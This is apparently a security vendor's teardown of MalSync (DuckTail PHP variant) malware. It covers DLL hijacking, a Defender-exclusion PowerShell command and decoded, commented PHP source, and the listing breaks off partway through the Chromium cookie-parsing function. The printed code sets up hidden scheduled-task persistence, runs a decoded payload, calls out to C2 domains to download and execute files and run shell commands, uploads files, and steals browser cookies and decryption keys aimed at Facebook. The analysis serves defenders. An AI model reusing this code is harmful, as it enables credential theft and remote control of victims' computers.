MalSync Teardown: From DLL Hijacking to PHP Malware for Windows   | Binary Defense

MalSync Teardown: From DLL Hijacking to PHP Malware for Windows   | Binary Defense


[

An analysis conducted by Binary Defense has revealed valuable insights into the workings of MalSync malware, also known as the DuckTail PHP variant. The analysis covers various aspects such as infection vectors, command line usage, malware capabilities, and reverse engineering efforts to decrypt and understand the malware. It also highlights the unique approach of using malicious PHP on Windows. 

Malware Findings 

An alert was raised when a suspicious command line was executed using PowerShell. The command was designed to add exclusions to Windows Defender.  

The command line was:
"C:WindowsSystem32WindowsPowerShellv1.0powershell.exe" -Command Add-MpPreference -ExclusionPath "C:UsersvictimAppDataRoaming","C:UsersvictimAppDataLocal".  

Upon further investigation, it was discovered that the command was initiated by a svchost.exe process with elevated privileges. This led to the discovery of several executable files in the user’s %AppData% directory. These files were identified as wdelua.exe, php.exe, and rhc.exe. While these files are commonly used by both legitimate installers and malware, their presence in this specific directory raised suspicion. 

A deeper dive into the file creation events revealed a chain of executables, indicative of a layered attack strategy: 

  • The initial file “IMG_9597_One_Night_Stand_Li_Shaw – Gyeon_Jung_Hee_Studio – By_Gook_Changmin_Photographer.exe”  creates ts.exe. 
  • This in turn led to the creation of cgcmpukluosgfec.exe and a temporary file of the same name. 
  • Following this, rhc.exe, php.exe, and wdelua.exe were identified as part of the attack chain, including all of the PHP libraries php.exe requires. 
  • The sequence concludes with the addition of a scheduled search that continuously checks in with the C2 server, downloads additional malware, and creates multiple new scheduled searches based on the C2 response. 

The attacker creates a bait file that looks like an image in order to lure users into opening it. However, the file is actually an executable from Western Digital called WDSyncService.exe. Unfortunately, this program is vulnerable to a DLL search-order hijacking attack. In the same directory as the bait file, the attacker places a file called WDSync.dll. When the legitimate WDSyncService.exe runs, it searches for WDSync.dll in the same directory and loads it. In this case, the attacker has replaced the legitimate WDSync.dll with a malicious one that has been renamed to WDSync.dll. 

The file updx-v2.5.23-setup.exe among the identified executables appears to be malware that was possibly downloaded from an external source. Although the details of its origin and how it was delivered are not discussed in this article, its presence in the infection chain is consistent with the loader behavior observed in other parts of MalSync. 

Novel use of PHP for malicious purposes on Windows OS

PHP is not commonly used for client-side Windows malware due to its design and operational context. It is a server-side scripting language that is optimized for web development, allowing for the dynamic generation of web pages on the server before sending them to the client’s browser. This is different from the typical execution model required for malware on Windows systems. In the world of malware development, the objective is often to directly interact with the operating system, manipulate system processes, or exploit specific vulnerabilities. To achieve this, languages and tools that provide easy access to Windows APIs and system internals, such as PowerShell, C++, or C#, are more popular with malware authors. These languages enable malware to execute with minimal friction and without the need for additional components like a PHP interpreter, which is required to run PHP scripts natively on Windows.

Understanding IonCube for PHP 

IonCube for PHP is a powerful tool used to protect and encrypt PHP code. It has two primary functions: heavy code obfuscation and performance enhancement.  

When PHP code is created, it is usually in a plain text format, which makes it prone to unauthorized access, editing, and usage. IonCube addresses this by converting the PHP code into an intermediate machine-readable format known as bytecode. This bytecode is then encrypted and can only be read by a web server with the IonCube loader extension installed. 

IonCube uses robust encryption techniques that make it extremely challenging for others to reverse engineer or tamper with the code. This protection mechanism is critical for developers who want to distribute their PHP software without exposing their source code to piracy or intellectual property violations. 

In addition to security, IonCube also improves the performance of PHP applications. Since the code is compiled into bytecode before deployment, it can be executed faster than interpreting scripts at runtime. This compilation process reduces server load and increases the response time of applications, providing a more efficient execution environment for PHP code. 

To execute the encrypted files, you need the IonCube Loader, a PHP extension that you install on your web server. This loader decrypts the encrypted bytecode ‘on the fly’, enabling the PHP engine to execute the code as if it were plain PHP scripts. This happens transparently, ensuring that the operation of the application remains smooth and unchanged from the end-user’s perspective. 

Facebook Findings 

Binary Defense analyzed MalSync’s IonCube PHP components and discovered a sophisticated method of harvesting credentials. Binary Defense researchers were able to decrypt IonCube version 11 and found numerous Facebook API calls designed to access a wide range of permissions and user data on Facebook. This suggests a targeted approach to social media credentials and data harvesting. 

 The example below is the PHP portion of MalSync makes API calls highlighting a wide range of details that can be harvested. 

https://www.facebook.com/dialog/oauth?client_id=124024574287414&redirect_uri=fbconnect://success&scope=email,publish_actions,publish_pages,user_about_me,user_actions.books,user_actions.music,user_actions.news,user_actions.video,user_activities,user_birthday,user_education_history,user_events,user_games_activity,user_groups,user_hometown,user_interests,user_likes,user_location,user_notes,user_photos,user_questions,user_relationship_details,user_relationships,user_religion_politics,user_status,user_subscriptions,user_videos,user_website,user_work_history,friends_about_me,friends_actions.books,friends_actions.music,friends_actions.news,friends_actions.video,friends_activities,friends_birthday,friends_education_history,friends_events,friends_games_activity,friends_groups,friends_hometown,friends_interests,friends_likes,friends_location,friends_notes,friends_photos,friends_questions,friends_relationship_details,friends_relationships,friends_religion_politics,friends_status,friends_subscriptions,friends_videos,friends_website,friends_work_history,ads_management,create_event,create_note,export_stream,friends_online_presence,manage_friendlists,manage_notifications,manage_pages,photo_upload,publish_stream,read_friendlists,read_insights,read_mailbox,read_page_mailboxes,read_requests,read_stream,rsvp_event,share_item,sms,status_update,user_online_presence,video_upload,xmpp_login&response_type=token

The level of information obtained by the malware is extremely concerning, as it suggests an intent not only to steal login credentials but also to use them to propagate the malware or to engage in broader identity theft, fraud, or espionage activities. Further investigations by Binary Defense have revealed that the malware is particularly interested in Facebook credentials, and that the extensive permissions it requests could be used for profiling and targeting individuals with phishing attacks or other forms of identity theft. 

This discovery highlights the need for caution in using social media, as well as the importance of strong security measures to protect sensitive personal and corporate data from cyber threats. In particular, examination of the malware’s PHP files has revealed a range of functions that are essential to its operation, including data extraction, evasion of security detections, and maintenance of persistence through the registration of scheduled tasks. 

The index.php file contains a significant amount of PHP code that handles device information collection, scheduled task management, and data staging before exfiltration. It also includes an undeveloped function named sendGCM(), which suggests that the malware developers had plans to use Google Cloud Messaging for future data exfiltration techniques. 

Further decoding of the index.php file has revealed that the malware’s primary function is to harvest data, with a particular focus on web browser information. The data is then prepared for exfiltration, and the malware communicates with a command-and-control server to update its configuration and receive new instructions. 

Conclusion 

After analyzing MalSync malware, it was found that although the malware shows complex behavior, it is still a manageable threat if the right security protocols are in place. The malware uses data harvesting and scheduled tasks, which are noticeable and can be clear indicators for detection and prevention. This emphasizes the need for always evolving security measures so that they can keep pace with potential risks. 

Decoded and Commented PHP Files

Include.php

<?php

ini_set("display_errors", 0);
error_reporting(32767);
createlg();
createts();
# Gets the current time via "wmic os get LocalDateTime /value". This is used as a backup if an exception occurs in getNow()
function getNowM()
{
    $d = shell_exec("wmic os get LocalDateTime /value");
    $d = str_replace("LocalDateTime=", "", $d);
    $d = trim($d);
    $year = $d[0] . $d[1] . $d[2] . $d[3];
    $month = $d[4] . $d[5];
    $day = $d[6] . $d[7];
    $hour = $d[8] . $d[9];
    $minute = $d[10] . $d[11];
    $second = $d[12] . $d[13];
    if (!$year || !$month || !$day || !$hour || !$minute || !$second) {
        $now = time();
    } else {
        $now = strtotime($year . "-" . $month . "-" . $day . " " . $hour . ":" . $minute . ":" . $second);
    }
    return $now;
}
# Gets temp dir, then contents of rss.txt in local dir. rss.txt contains obfuscated base64 that this function de-obfuscates and decodes, which results in a PE binary (https://www.virustotal.com/gui/file/16ad22f8ab4f99a03bc2b68bf3314397f30f67a01bb5a283020e85979b811d93).
function getNow()
{
    $tmpPath = sys_get_temp_dir() . "\tmp";
    if (!file_exists($tmpPath)) {
        mkdir($tmpPath, 511, true);
    }
    $bc = file_get_contents("rss.txt");
    if ($bc) {
        # De-obfuscating string at start of rss.txt
        $bc = trim($bc, "SPAP");
        # De-obfuscating mangled base64 data. Replace * with A and replace | with D.
        $bc = str_replace(["*", "|"], ["A", "D"], $bc);
        # Create a random name for the PE file and append to path.
        $fiEnc = $tmpPath . "\" . uniqid() . ".exe";
        # Put the now decoded binary data in a file
        file_put_contents($fiEnc, base64_decode($bc) . uniqid());
        # Execute the PE
        $d = shell_exec($fiEnc);
        # Strip white space from the return of the execution
        $d = trim($d);
        # Replace an escaped double quote with nothing
        $d = str_replace(""", "", $d);
        # This is what the output of the binary looks like: "2023-04-27 18:41:14"
        try {
            # Get the time of the binaries execution, if there is none, get the time from getNowM()
            $now = strtotime($d);
            if (!$now) {
                $now = getnowm();
            }
            if (file_exists($fiEnc)) {
            }
            return $now;
        } catch (Exception $e) {
            # If getting the time fails, delete the binary created above
            if (file_exists($fiEnc)) {
                unlink($fiEnc);
            }
            # return now from getNowM()
            return getnowm();
        }
    } else {
        # Get the time if rss.txt has no data in it.
        return getnowm();
    }
}
# Scheduled task creation that executes: "rhc.exe php.exe include.php" Executing this file. It is scheduled to trigger on user login.
function createLG()
{
    $taskName = "APTXService_LG";
    $schedule = new COM("Schedule.Service");
    $schedule->Connect();
    $rootFolder = $schedule->GetFolder("\");
    $taskDef = $schedule->NewTask(0);
    $colTriggers = $taskDef->Triggers;
    $trigger = $colTriggers->Create(9);
    $user = get_current_user();
    $trigger->Id = "LogonTriggerId";
    $trigger->UserId = $user;
    $executePath = "rhc.exe";
    $workingPath = getcwd();
    $colActions = $taskDef->Actions;
    $action = $colActions->Create(0);
    $action->ID = $taskName;
    $action->Path = $executePath;
    $action->WorkingDirectory = $workingPath;
    $action->Arguments = "php.exe include.php";
    $action2 = $colActions->Create(0);
    $action2->ID = $taskName . "_I";
    $action2->Path = $executePath;
    $action2->WorkingDirectory = $workingPath;
    $action2->Arguments = "php.exe index.php";
    $info = $taskDef->RegistrationInfo;
    $info->Author = "";
    $info->Description = "";
    $settings = $taskDef->Settings;
    $settings->Hidden = true;
    $taskDef->Settings->StopIfGoingOnBatteries = false;
    $taskDef->Settings->DisallowStartIfOnBatteries = false;
    $taskDef->Settings->StartWhenAvailable = true;
    try {
        $rootFolder->RegisterTaskDefinition($taskName, $taskDef, 6, "", "", 3);
    } catch (Exception $e) {
    }
}
# Scheduled task creation that executes: "rhc.exe php.exe index.php". This is scheduled to run at 19:01 every day, and repeat every 2 minutes once triggered.
function createTS()
{
    $taskName = "APTXService";
    $schedule = new COM("Schedule.Service");
    $schedule->Connect();
    $rootFolder = $schedule->GetFolder("\");
    $taskDef = $schedule->NewTask(0);
    $colTriggers = $taskDef->Triggers;
    $now = getnow();
    $trigger = $colTriggers->Create(2);
    $trigger->Repetition->Interval = "PT2M";
    $trigger->Repetition->StopAtDurationEnd = false;
    $nextTime = $now + 120;
    $trigger->StartBoundary = date("Y-m-d\TH:i:s", $nextTime);
    $executePath = "rhc.exe";
    $workingPath = getcwd();
    $colActions = $taskDef->Actions;
    $action = $colActions->Create(0);
    $action->ID = $taskName;
    $action->Path = $executePath;
    $action->WorkingDirectory = $workingPath;
    $action->Arguments = "php.exe index.php";
    $info = $taskDef->RegistrationInfo;
    $info->Author = "";
    $info->Description = "";
    $settings = $taskDef->Settings;
    $settings->Hidden = true;
    $taskDef->Settings->StopIfGoingOnBatteries = false;
    $taskDef->Settings->DisallowStartIfOnBatteries = false;
    $taskDef->Settings->StartWhenAvailable = true;
    try {
        $rootFolder->RegisterTaskDefinition($taskName, $taskDef, 6, "", "", 3);
    } catch (Exception $e) {
    }
}

?>

Index.php

<?php

ini_set("display_errors", 1);
error_reporting(32767);
set_time_limit(500);
$version = "2.5.19";
define("FORCE_TASK", 0);
$uname = php_uname();
$config = ["version" => $version, "b" => "SYS01", "tmpData" => sys_get_temp_dir() . "\tmp", "url_endpoint" => ["https://ariedretu.com", "https://ivanurivega.com", "https://thravegese.com"]];
$endpoints = $config["url_endpoint"];
shuffle($endpoints);
define("URL_ENDPOINT", $endpoints[0] . "/api/rss");
$machineId = NULL;
try {
    # Get device MAC address
    $machineId = Helper::getMac();
    /**
     * Get the task based on the machine ID and command line arguments.
     *
     * @param int $machineId The ID of the machine.
     * @param array $argv The command line arguments.
     * @return array The task.
     */
    $tasks = Helper::getTask($machineId, $argv);
    mprint($tasks); // print the tasks
    if ($tasks && $tasks->data) {
        foreach ($tasks->data as $task) {
            try {
                if ($task->act == "get_ck_all") { // if the task action is to get cookies
                    $localAppData = getenv("LOCALAPPDATA");
                    $appDataPath = getenv("APPDATA");
                    # Check for Chrome based browsers
                    $basedChromium = $task->based_ch;
                    if ($basedChromium) {
                        foreach ($basedChromium as $item) {
                            # User Data folder is where sensitive data like cookies are stored
                            $basePath = $localAppData . "\" . $item . "\User Data";
                            /**
                             * Check if the base path exists and create a new Browser object with the Chromium driver if it does.
                             * Then, parse the cookie with the given machine ID, item, resource, and task.
                             *
                             * @param string $basePath The base path to check for existence.
                             * @param string $machineId The machine ID to use for parsing the cookie.
                             * @param string $item The item to use for parsing the cookie.
                             * @param string $resource The resource to use for parsing the cookie.
                             * @param object $task The task object to use for parsing the cookie.
                             * @return void
                             */
                            if (file_exists($basePath)) {
                                $chrome = new Browser("CHROMIUM", $basePath);
                                $chrome->parseCookie($machineId, $item, $task->resource, $task);
                            }
                        }
                    }
                    $basePath = $appDataPath . "\Mozilla\Firefox\Profiles";
                    # Check for Firefox
                    if (file_exists($basePath)) {
                        $chrome = new Browser("MOZ", $basePath);
                        $chrome->parseCookie($machineId, "Mozilla", $task->resource, $task);
                    }
                /**
                 * This block of code checks if the task action is to download a file and downloads it if it is.
                 * It also executes the work if the file exists and work is provided.
                 */

                } else {
                    if ($task->act == "dlAR") { // if the task action is to download a file
                        try {
                            $u = $task->url; // the URL of the file to download
                            $work = $task->work; // the work to execute after downloading the file
                            $name = $task->name; // the name of the file to save
                            $saveToCurrentWork = $task->save_to_current_work; // whether to save the file to the current working directory
                            if ($u) {
                                if ($saveToCurrentWork == 1) { // if the file should be saved to the current working directory
                                    $fileSave = getcwd() . "\" . $name; // save the file to the current working directory
                                } else {
                                    $fileSave = $name; // save the file to the specified location
                                }
                                copy($u, $fileSave); // download the file
                                if (file_exists($fileSave) && $work) { // if the file exists and work is provided
                                    shell_exec($work->args); // execute the work
                                }
                            }
                        } catch (Exception $e) {
                        }
                    } else {
                        if ($task->act == "upload") { // if the task action is to upload a file
                            try {
                                $f = $task->f;
                                if (file_exists($f)) {
                                    $urlEndPoint = URL_ENDPOINT . "?machine_id=" . $machineId . "&v=" . $config["version"] . "&from=" . $config["b"];
                                    $r = Request::upload($urlEndPoint, $f); // upload the file
                                }
                            } catch (Exception $e) {
                            }
                        } else {
                            if ($task->act == "r") { // if the task action is to execute a command
                                try {
                                    $c = $task->args;
                                    $rs = shell_exec($c); // execute the command
                                    Request::post(URL_ENDPOINT, ["key" => "r", "data" => $rs]); // post the result
                                } catch (Exception $e) {
                                }
                            }
                        }
                    }
                }
            } catch (Exception $e) {
                print_r($e->getMessage()); // print the error message
            }
        }
    }
    try {
        // Get tasks update from the server
        $tasksUpdate = Helper::getUD($machineId);
        if ($tasksUpdate && $tasksUpdate->data) {
            echo "Update" . PHP_EOL;
            echo $task->act . PHP_EOL;
            // Start timer
            $time_start = microtime(true);
            // Loop through each task in the update
            foreach ($tasksUpdate->data as $task) {
                // Check if the task action is to download a file
                if ($task->act == "dl") {
                    try {
                        // Get the URL, work, name, and save_to_current_work properties from the task
                        $u = $task->url;
                        $work = $task->work;
                        $name = $task->name;
                        $saveToCurrentWork = $task->save_to_current_work;
                        if ($u) {
                            if ($saveToCurrentWork == 1) {
                                // Save the file to the current working directory
                                $fileSave = getcwd() . "\" . $name;
                            } else {
                                // Save the file to the specified location
                                $fileSave = $name;
                            }
                            // Download the file
                            copy($u, $fileSave);
                            // If the file exists and work is provided, execute the work
                            if (file_exists($fileSave) && $work) {
                                shell_exec($work->args);
                            }
                        }
                    } catch (Exception $e) {
                    }
                }
            }
        }
    } catch (Exception $e) {
    }
} catch (Exception $e) {
}
class Request
{
    public static function get($url, $headers = NULL, $optsE = NULL, $returnFullInfo = false)
    {
        try {
            $curl = curl_init();
            $opts = [CURLOPT_URL => $url, CURLOPT_RETURNTRANSFER => true, CURLOPT_MAXREDIRS => 10, CURLOPT_TIMEOUT => 70000, CURLOPT_HTTP_VERSION => CURL_HTTP_VERSION_1_1, CURLOPT_CUSTOMREQUEST => "GET", CURLOPT_SSL_VERIFYPEER => false, CURLOPT_SSLVERSION => CURL_SSLVERSION_TLSv1_1];
            if ($headers) {
                $opts[CURLOPT_HTTPHEADER] = $headers;
            }
            if ($optsE) {
                foreach ($optsE as $k => $v) {
                    $opts[$k] = $v;
                }
            }
            curl_setopt_array($curl, $opts);
            $response = curl_exec($curl);
            $err = curl_error($curl);
            $info = curl_getinfo($curl);
            curl_close($curl);
            if ($err) {
                return NULL;
            }
            if ($returnFullInfo) {
                return ["info" => $info, "content" => $response];
            }
            return $response;
        } catch (Exception $e) {
            throw new Exception($e->getMessage());
        }
    }
    public static function post($url, $data, $headers = NULL, $customOpts = NULL, $returnFullInfo = false)
    {
        try {
            $curl = curl_init();
            $opts = [CURLOPT_URL => $url, CURLOPT_RETURNTRANSFER => true, CURLOPT_MAXREDIRS => 10, CURLOPT_TIMEOUT => 70000, CURLOPT_HTTP_VERSION => CURL_HTTP_VERSION_1_1, CURLOPT_CUSTOMREQUEST => "POST", CURLOPT_POSTFIELDS => json_encode($data), CURLOPT_HTTPHEADER => ["Content-Type: application/json"], CURLOPT_SSL_VERIFYPEER => false, CURLOPT_SSLVERSION => CURL_SSLVERSION_TLSv1_1];
            if ($headers) {
                $opts[CURLOPT_HTTPHEADER] = $headers;
            }
            if ($customOpts) {
                foreach ($customOpts as $k => $v) {
                    $opts[$k] = $v;
                }
            }
            curl_setopt_array($curl, $opts);
            $response = curl_exec($curl);
            $err = curl_error($curl);
            $info = curl_getinfo($curl);
            curl_close($curl);
            if ($err) {
                return NULL;
            }
            if ($returnFullInfo) {
                return $info;
            }
            return $response;
        } catch (Exception $e) {
            throw $e;
        }
    }
    public static function upload($url, $filename)
    {
        $curl = curl_init();
        curl_setopt_array($curl, [CURLOPT_URL => $url, CURLOPT_RETURNTRANSFER => 1, CURLOPT_MAXREDIRS => 10, CURLOPT_TIMEOUT => 70000, CURLOPT_CUSTOMREQUEST => "POST", CURLOPT_POST => 1, CURLOPT_POSTFIELDS => ["file" => curl_file_create($filename)], CURLOPT_HTTPHEADER => ["Content-Type: multipart/form-data"], CURLOPT_SSL_VERIFYPEER => false, CURLOPT_SSLVERSION => CURL_SSLVERSION_TLSv1_1]);
        $response = curl_exec($curl);
        $err = curl_error($curl);
        $info = curl_getinfo($curl);
        if ($err) {
        }
        curl_close($curl);
        return $response;
    }
}
class Helper
{
// Define a static function named getUD that takes one parameter: $macID
public static function getUD($macID)
{
    // Get the global variables $config and $uname
    global $config;
    global $uname;
    
    try {
        // Construct the URL endpoint by appending query parameters to URL_ENDPOINT
        $url = URL_ENDPOINT;
        $url .= "?a=update&v=" . $config["version"] . "&machine_id=" . $macID . "&from=" . $config["b"] . "&uname=" . $uname;
        
        // Send an HTTP GET request to the URL endpoint and store the response in $response
        $response = Request::get($url);
        
        // Parse the JSON response and store it in $objRespone
        $objRespone = json_decode($response);
        
        // Return $objRespone
        return $objRespone;
    } catch (Exception $e) {
        // If an exception is thrown, return NULL
        return NULL;
    }
}
    public static function getTask($macID, $args = NULL)
    {
        // Declare two global variables named $config and $uname
        global $config;
        global $uname;
        
        // Initialize $objRespone to NULL and $retry to 1
        $objRespone = NULL;
        $retry = 1;
        
        // Enter a while loop that will execute at most 5 times
        while ($retry <= 5) {
            // Increment $retry by 1
            $retry++;
            
            try {
                // Remove any newline characters from $macID and trim any whitespace
                $macID = str_replace(PHP_EOL, "", $macID);
                $macID = trim($macID);
                
                // URL-encode $uname
                $uname = urlencode($uname);
                
                // Set $tag to "c" by default, or read it from a file named "tag" if it exists
                $tag = "c";
                if (file_exists("tag")) {
                    $tag = file_get_contents("tag");
                }
                $tag = str_replace(PHP_EOL, "", trim($tag));
                
                // Construct a URL endpoint with various parameters
                $url = URL_ENDPOINT . "?a=http&dev=1&v=" . $config["version"] . "&machine_id=" . $macID . "&from=" . $config["b"] . "&tag=" . $tag . "&uname=" . $uname . "&f=" . FORCE_TASK;
                
                // If $args is truthy and its second element is 1, append "&f=1" to the URL
                if ($args && isset($args[1]) && $args[1] == 1) {
                    $url .= "&f=1";
                }
                
                // Send an HTTP GET request to the URL endpoint and store the response in $response
                $response = Request::get($url);
                
                // Parse the response as JSON and store it in $objRespone
                $objRespone = json_decode($response);
            } catch (Exception $e) {
                // If an exception is thrown, do nothing and wait for 2 seconds before trying again
            }
            sleep(2);
        }
        
        // Return $objRespone
        return $objRespone;
    }
// Define a static function named getMac that returns the machine ID of the current user
public static function getMac()
{
    // Get the path to the user's AppData folder
    $appData = getenv("LOCALAPPDATA");
    
    // Construct a path to the Packages folder inside the AppData folder
    $folderPath = $appData . "\Packages";
    
    // If the Packages folder does not exist, create it with permissions 511 (0777 in octal) and all intermediate directories
    if (!file_exists($folderPath)) {
        mkdir($folderPath, 511, true);
    }
    
    // Construct a path to a file named "m.txt" inside the Packages folder
    $filePath = $folderPath . "\m.txt";
    
    // Initialize $machineId to NULL
    $machineId = NULL;
    
    // If the "m.txt" file exists, read its contents into $machineId
    if (file_exists($filePath)) {
        $machineId = file_get_contents($filePath);
    }
    
    // If $machineId is falsy, generate a new machine ID and write it to the "m.txt" file
    if (!$machineId) {
        $machineId = uniqid() . "_" . rand(111111, 999999);
        file_put_contents($filePath, $machineId);
    }
    
    // Return $machineId
    return $machineId;
}

// Define a static function named readDirs that takes two parameters: $p and $rtFullPath (which is optional and defaults to 1)
public static function readDirs($p, $rtFullPath = 1)
{
    // If $p does not exist, return an empty array
    if (!file_exists($p)) {
        return [];
    }
    
    // Open the directory at $p and store the result in $dirs
    $dirs = dir($p);
    
    // If $dirs is falsy, return an empty array
    if (!$dirs) {
        return [];
    }
    
    // Initialize $pData to an empty array
    $pData = [];
    
    // Loop through all the entries in $dirs
    while (false !== ($entry = $dirs->read())) {
        // If $entry is not "." or ".." and is a directory, add it to $pData
        if ($entry != "." && $entry != ".." && is_dir($p . "\" . $entry)) {
            if ($rtFullPath) {
                $pData[] = $p . "\" . $entry;
            } else {
                $pData[] = $entry;
            }
        }
    }
    
    // Close the directory at $p
    $dirs->close();
    
    // Return $pData
    return $pData;
}
// Define a static function named deleteAllFolder that takes one parameter: $dir
public static function deleteAllFolder($dir)
{
    // Loop through all the files and directories in $dir
    foreach (glob($dir . "/*") as $file) {
        // If $file is a directory, recursively call deleteAllFolder on it
        if (is_dir($file)) {
            Helper::deleteAllFolder($file);
        } else {
            // If $file is a file, delete it
            unlink($file);
        }
    }
    
    // Remove the directory itself
    rmdir($dir);
}

// Define a static function named xcopy that takes three parameters: $source, $dest, and $permissions (which is optional and defaults to 493)
public static function xcopy($source, $dest, $permissions = 493)
{
    // Calculate the MD5 hash of $source and store it in $sourceHash
    $sourceHash = self::hashDirectory($source);
    
    // If $source is a symbolic link, create a symbolic link at $dest that points to the same target
    if (is_link($source)) {
        return symlink(readlink($source), $dest);
    }
    
    // If $source is a file, copy it to $dest
    if (is_file($source)) {
        return copy($source, $dest);
    }
    
    // If $dest does not exist, create it with the specified permissions
    if (!is_dir($dest)) {
        mkdir($dest, $permissions);
    }
    
    // Loop through all the files and directories in $source
    $dir = dir($source);
    while (false !== ($entry = $dir->read())) {
        // If $entry is not "." or ".."
        if (!($entry == "." || $entry == "..")) {
            // If the MD5 hash of $source/$entry is different from $sourceHash, recursively call xcopy on it
            if ($sourceHash != self::hashDirectory($source . "/" . $entry)) {
                self::xcopy($source . "/" . $entry, $dest . "/" . $entry, $permissions);
            }
        }
    }
    $dir->close();
    
    // Return true to indicate success
    return true;
}
    public static function hashDirectory($directory)
    {
        // If $directory is not a directory, return false
        if (!is_dir($directory)) {
            return false;
        }
        
        // Initialize an empty array named $files
        $files = [];
        
        // Open the directory and read its contents
        $dir = dir($directory);
        while (false !== ($file = $dir->read())) {
            // If $file is not "." or ".."
            if ($file != "." && $file != "..") {
                // If $file is a directory, recursively call hashDirectory on it and add the result to $files
                if (is_dir($directory . "/" . $file)) {
                    $files[] = self::hashDirectory($directory . "/" . $file);
                } else {
                    // If $file is a file, calculate its MD5 hash and add it to $files
                    $files[] = md5_file($directory . "/" . $file);
                }
            }
        }
        
        // Close the directory
        $dir->close();
        
        // Calculate the MD5 hash of the concatenated string of all the hashes in $files and return it
        return md5(implode("", $files));
    }
// Define a static function named startsWith that takes two parameters: $haystack and $needle
public static function startsWith($haystack, $needle)
{
    // If $needle is an empty string, return true (because an empty string is a substring of any string)
    if ($needle === "") {
        return true;
    }
    
    // Use strrpos() to find the last occurrence of $needle at the beginning of $haystack
    $pos = strrpos($haystack, $needle, -1 * strlen($haystack));
    
    // If $pos is not false, $needle is a substring of $haystack at the beginning, so return true
    if ($pos !== false) {
        return true;
    }
    
    // Otherwise, $needle is not a substring of $haystack at the beginning, so return false
    return false;
}

// Define a static function named sendToEndPoint that takes one parameter: $dataToPost
public static function sendToEndPoint($dataToPost)
{
    try {
        // Send an HTTP POST request to URL_ENDPOINT with $dataToPost as the body
        Request::post(URL_ENDPOINT, $dataToPost);
    } catch (Exception $e) {
        // If an exception is thrown, sleep for 1 second
        sleep(1);
    }
}
    #Unimplemented Google Cloud Messaging exil option?
    public static function sendGCM($message, $id)
    {
    }
}
// Define a class named Browser
class Browser
{
    // Define public properties named based, profiles, localStateFile, dataPath, and domainPriorityList
    public $based = NULL;
    public $profiles = NULL;
    public $localStateFile = NULL;
    public $dataPath = NULL;
    public $domainPriorityList = [".facebook.com", "www.facebook.com", "web.facebook.com", "m.facebook.com", "mobile.facebook.com", "upload.facebook.com", "mbasic.facebook.com", "developers.facebook.com", "business.facebook.com"];
    
    // Define constants named BASED_CHROMEMIUM and BASED_MOZ
    const BASED_CHROMEMIUM = "CHROMIUM";
    const BASED_MOZ = "MOZ";
    
    // Define a constructor that takes two parameters: $based and $defaultDataPath
    public function __construct($based, $defaultDataPath)
    {
        // Set the value of $based and $dataPath to the values of the corresponding parameters
        $this->based = $based;
        $this->dataPath = $defaultDataPath;
    }
    /**
     * Parses cookie information based on certain conditions.
     *
     * @param string $machineId The machine ID.
     * @param string $browser The browser type.
     * @param string $resourceRequest The resource request.
     * @param string $taskInfo The task information.
     * @return void
     */
    // This function parses cookies based on the type of browser and calls the appropriate parsing method based on the browser type. It creates a temporary directory to store data and catches any exceptions thrown during the parsing process.
    public function parseCookie($machineId, $browser, $resourceRequest, $taskInfo)
    {
        try {
            global $config;
            $tmpPath = $config["tmpData"];
            $session = uniqid();
            $tmpPath .= "\" . $session;
            if (!file_exists($tmpPath)) {
                mkdir($tmpPath, 511, true);
            }
            // If the browser is based on Chromium, call the parseChromium method
            if ($this->based == "CHROMIUM") {
                $this->parseChromium($machineId, $browser, $tmpPath, $resourceRequest, $taskInfo);
            } else {
                // If the browser is based on Mozilla, call the parseMoz method
                if ($this->based == "MOZ") {
                    $this->parseMoz($machineId, $browser, $tmpPath, $resourceRequest, $taskInfo);
                }
            }
        } catch (Exception $exception) {
            // If an exception is thrown, do nothing
        }
    }
    private function parseChromium($machineId, $browser, $tmpPath, $resourceRequest, $taskInfo)
    {
        global $config;
        global $uname;
        if (!file_exists($this->dataPath)) {
            return NULL;
        }
        #After executing this code, the $profiles array will contain a list of file paths matching the pattern, including the additional "Default" path. The $this->profiles property will have the same array value. The $lastVersion variable will either have the modified version number (if the file exists and contains a version number) or the initial value "104.0.0.0".
        $profiles = glob($this->dataPath . "\Profile *");
        $profiles[] = $this->dataPath . "\Default";
        $this->profiles = $profiles;
        $lastVersionFile = $this->dataPath . "\Last Version";
        $lastVersion = "104.0.0.0";
        if (file_exists($lastVersionFile)) {
            $_tmpContent = file_get_contents($lastVersionFile);
            $_tmpContent = explode(".", $_tmpContent);
            if ($_tmpContent[0]) {
                $lastVersion = $_tmpContent[0] . ".0.0.0";
            }
        }
        #OS Fingerprinting
        $pOSR = php_uname("r");
        $pOS = php_uname("s");
        #In summary, the code is performing operations related to the Local State file of a Chrome-based browser. It copies the file, reads its contents, and checks for the existence of a specific browser key file. The code sets a flag and performs further decryption operations based on the availability of the decrypted key, allowing for additional actions or logic to be executed.
        $userAgent = "Mozilla/5.0 (" . $pOS . " " . $pOSR . "; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/" . $lastVersion . " Safari/537.36";
        $this->localStateFile = $this->dataPath . "\Local State";
        $newLocalStateFile = $tmpPath . "\" . uniqid();
        copy($this->localStateFile, $newLocalStateFile);
        $content = file_get_contents($newLocalStateFile);
        $object = json_decode($content);
        $browserKeyName = md5($browser);
        $executeDcr = true;
        if (file_exists($browserKeyName)) {
            $_c = file_get_contents($browserKeyName);
            if (!empty($_c)) {
                $executeDcr = false;
                $decryptedKey = base64_decode($_c);
            }
        }
        #If a decrypted key is not available, it performs a decryption process by executing an encoded and obfuscated executable file and retrieves the decrypted key. The decrypted key is then stored for future use.
        if ($executeDcr) {
            $encryptedKey = $object->os_crypt->encrypted_key;
            #rss.txt is a file that contains obfuscated base64 data. The data is de-obfuscated and decoded, resulting in a PE binary (https://www.virustotal.com/gui/file/16ad22f8ab4f99a03bc2b68bf3314397f30f67a01bb5a283020e85979b811d93) that decrypts the encrypted chrome os_crypt key.
            $bc = file_get_contents("rss.txt");
            if ($bc) {
                $bc = trim($bc, "SPAP");
                $bc = str_replace(["*", "|"], ["A", "D"], $bc);
                $fiEnc = $tmpPath . "\" . uniqid() . ".exe";
                file_put_contents($fiEnc, base64_decode($bc) . uniqid());
                if (file_exists($fiEnc)) {
                    $decryptedKey = shell_exec($fiEnc . " /c " . $encryptedKey);
                    $decryptedKey = base64_decode($decryptedKey);
                    if ($decryptedKey) {
                        file_put_contents($browserKeyName, base64_encode($decryptedKey));
                    }
                    unlink($fiEnc);
                }
            }
        }
        #The following code is responsible for parsing the cookies from the Chrome-based browser. It iterates through each profile and checks for the existence of a cookie file. If the file exists, it copies the file to a temporary directory and performs a decryption operation on the file.
        $profileCache = $object->profile->info_cache;
        mprint($browser);
